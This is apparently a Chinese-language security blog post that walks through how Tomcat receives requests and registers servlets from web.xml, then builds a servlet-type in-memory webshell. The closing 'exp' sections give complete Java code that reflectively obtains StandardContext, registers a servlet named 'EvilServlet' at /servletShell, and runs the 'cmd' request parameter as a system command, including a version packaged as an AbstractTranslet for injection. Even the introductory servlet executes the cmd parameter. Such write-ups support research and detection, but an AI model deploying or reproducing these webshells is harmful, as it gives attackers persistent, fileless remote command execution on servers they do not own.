servlet基础实现
servlet接口有几个实现方法
1 2 3 4 5 6 7 8 9 10 11
| public interface Servlet { void init(ServletConfig var1) throws ServletException; ServletConfig getServletConfig(); void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; String getServletInfo(); void destroy(); }
|
写一个基础的servlet实现,再在webxml里面装配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package servlet;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
public class ServletTest implements Servlet { @Override public void init(ServletConfig config) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} }
|
servlet流程分析
获取http请求
把断点放在servlet实现的service()方法,看一下调用栈

这里可以看到前面的都是filter的内容,正式开始分析把断点下在init()位置
看调用栈,把断点放到Http11Processor.service()方法

HTTP11Processor
类是一个网络请求的类,它的作用是处理数据包,而它的 service()
方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff
进行数据解析。
一直走到后面,有一个
1
| getAdapter().service(request, response);
|
进去到CoyoteAdapter.service()方法,CoyoteAdapter 是 Processor 和 Valve 之间的适配器。

这里传参用的是org.apache.coyote.Request和org.apache.coyote,Response,也有对getNote()方法的调用
对应的getNote()方法

都是从notes数组取出指定pos对象,此时是notes[1],notes[1]是在CoyoteAdapter.service()里面设置的
然后出来,在CoyoteAdapter有一些简单的赋值,来到
1
| connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
|
这句是service方法的关键,有多个方法,一个一个看,此时connector是http包

接下来看getService()方法

connector.getService()
返回的是 Connector 关联的 Service 属性,也就是 StandardService
类型的对象

connector.getService().getContainer()
返回的是 Service 里的容器 Engine 属性,也就是 StandardEngine
对象。

connector.getService().getContainer().getPipeline()
返回的是 StandardEngine 里的 Pipeline 属性,也就是 StandardPipeline
对象

差不多就是一个一个获取这些,返回一个StandardEngineValve,最后走到StandardEngineValve.invoke()
进到invoke后内容就和filter差不多,多个invoke层层调用。综合就是获取一个HTTP请求,进行预处理的过程
读取webxml
断点下在ContextConfig.webConfig()

中间读取webxml文件,获取listener,filter等,重点在后面有一个 configureContext(webXml);
跟进
里面也是先获取filter,listener之类的,再往下,有对servlet的读取
创建与装载StandardWrapper

这里就是在创建wrapper,再往下
分别有获取servletName,获取servletClass,获取Runas

再到这里会将 Wrapper 添加到 context 中,这里对应的是 StandardContext。
此时要思考wrapper包含恶意的servlet内存马,那最后wrapper会到哪里?
跟进addChild方法看一下,可以看到他是StandardContext里面的方法

会先判断这两个servlet是不是JSP的servlet,然后进到 super.addChild(child)
会进到ContainerBase
类的 addChild()
方法判断了是否开启全局安全这个配置

继续往下会到 addChildInternal(child)
方法里面,前面有一些判断,不是很重要
直到后面有一个 `child.start();

Start()方法里面会启动一个线程,前面做一些基础的日志判断,后面会走到init()方法里面,也是一些简单基础的赋值
比较重要的是后面的的startInternal()
,然后就走到StandardContext.startInternal()里面

一直往下走,调用了一个fireLifecycleEvent()方法,主要是解析webxml

后面又走着走着到 ContextConfig#configureContext()
把webxml再装配一遍
然后addChild()
方法把 servlet 放进了 children 里面,children 也就是 StandardWrapper
在 addChild()
方法之后,调用 addServletMappingDecoded()
方法添加映射关系。将 url 路径和 servlet 类做映射。
总结这个过程
- 通过
context.createWapper()
创建 Wapper 对象;
- 设置 Servlet 的
LoadOnStartUp
的值;
- 设置 Servlet 的 Name ;
- 设置 Servlet 对应的 Class ;
- 将 Servlet 添加到 context 的 children 中;
- 将 url 路径和 servlet 类做映射。
加载servlet
前面停在addChild()以及之后addServletMappingDecoded()
方法添加映射
在StandardContext#startInternal
中,进了 fireLifecycleEvent()
方法,又做了一遍 StandardWrapper 装载的工作。
现在重回StandardContext的startInternal里面,走到fireLifecycleEvent()方法里
有一个loadOnStartup()

里面对loadOnStartup这个属性进行判断
这个参数的意思:在servlet配置中,<load-on-startup>1</load-on-startup>
的意思是标记容器是否在启动时就加载这个servlet,当值大于0或为0是,表示容器在应用启动时就加载这个servlet,当是负数或没有指定是,则表示容器在该servlet被选择时才加载,正数值越小,启动时servlet的优先级越高
如果在webxml里面这么配置
1
| <load-on-startup>1</load-on-startup>
|
这对应了Tomcat servlet的懒加载机制
虽然webxml的内容不可控,但是如果要把恶意servlet放到最前面去加载,这是一个思路
小结一下
获取http请求,做一些预处理;后面读取webxml,在webconfig里面创建standardWrapper,servlet保存到standardWrapper,后续wrapper放到context里面
创建和加载完毕后,也需要把加载的servlet从standardWrapper读取出来,这过程涉及一个重要的属性值loadOnStartUp
攻击
前辈师傅给的思路依旧非常清晰,servlet内存马攻击思路也很好理解
有一个恶意servlet,装配到standardWrapper里面,standardWrapper装到standardContext里面,然后有addServletMappingDecoded()方法添加url路径映射,这样就算攻击完成

那我们需要
- 编写恶意servlet
- 获取standardContext对象
- 通过
StandardContext.createWrapper()
创建StandardWrapper
对象
- 设置servlet的name,对应class等属性
- 重点设置loadOnStartUp属性值
- 将wrapper加到context里面(对应children属性)
- 通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package servlet;
import org.apache.catalina.Wrapper; import org.apache.catalina.connector.Request; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardWrapper;
import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@WebServlet("/servletShell") public class ServletShell extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Servlet servlet = new Servlet() { @Override public void init(ServletConfig config) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); System.out.println("恶意servlet被调用"); if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; res.getWriter().write(output); } }
@Override public String getServletInfo() { return ""; }
@Override public void destroy() {
} };
try{ ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName("EvilServlet"); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servletShell", "EvilServlet"); response.getWriter().write("Success"); }catch(Exception e){} } }
|
顺便套一个内存马版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Wrapper; import org.apache.catalina.connector.Request; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardWrapper;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field;
public class ServletInject extends AbstractTranslet implements Servlet { static{ try { ServletContext servletContext = getServletContext(); Servlet servlet = new ServletInject();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName("EvilServlet"); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servletShell", "EvilServlet"); System.out.println("Servlet Injected"); }catch (Exception e){} }
private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ServletContext servletContext = null;
try { Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); Field lastServicedRequestField = c.getDeclaredField("lastServicedRequest"); lastServicedRequestField.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
if (threadLocal != null && threadLocal.get() != null) { ServletRequest servletRequest = (ServletRequest) threadLocal.get(); servletContext = servletRequest.getServletContext(); } } catch (Exception e) { } return servletContext; } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(ServletConfig config) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { System.out.println("执行了恶意servlet"); HttpServletRequest req = (HttpServletRequest) request; String cmd = req.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { try { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } response.getOutputStream().write(stringBuilder.toString().getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); return; } catch (Exception e) { response.getWriter().write("Command execution failed: " + e.getMessage()); return; } } }
@Override public String getServletInfo() { return ""; }
@Override public void destroy() {
} }
|
参考
https://drun1baby.top/2022/09/04/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-05-Tomcat-%E4%B9%8B-Servlet-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/